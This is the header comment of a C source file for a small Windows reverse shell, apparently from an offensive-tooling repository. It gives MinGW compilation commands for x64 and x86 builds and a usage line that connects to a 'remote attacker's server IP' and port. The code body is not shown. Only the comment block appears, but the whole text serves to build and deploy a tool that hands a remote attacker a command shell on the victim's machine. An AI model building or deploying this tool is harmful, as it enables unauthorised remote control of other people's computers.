* Shamefully simple reverse shell, totally not OPSEC-safe, proving extremely
|
|
* low programming skills. Coded up in couple of minutes.
|
|
*
|
|
* Compilation:
|
|
* - x64
|
|
* $ x86_64-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
|
|
* - x86
|
|
* $ i686-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
|
|
*
|
|
* Usage:
|
|
* cmd> revshell <IP> <PORT> &
|
|
*
|
|
* Where:
|
|
* - ip - remote attacker's server IP
|
|
* - port - remote attacker's server PORT
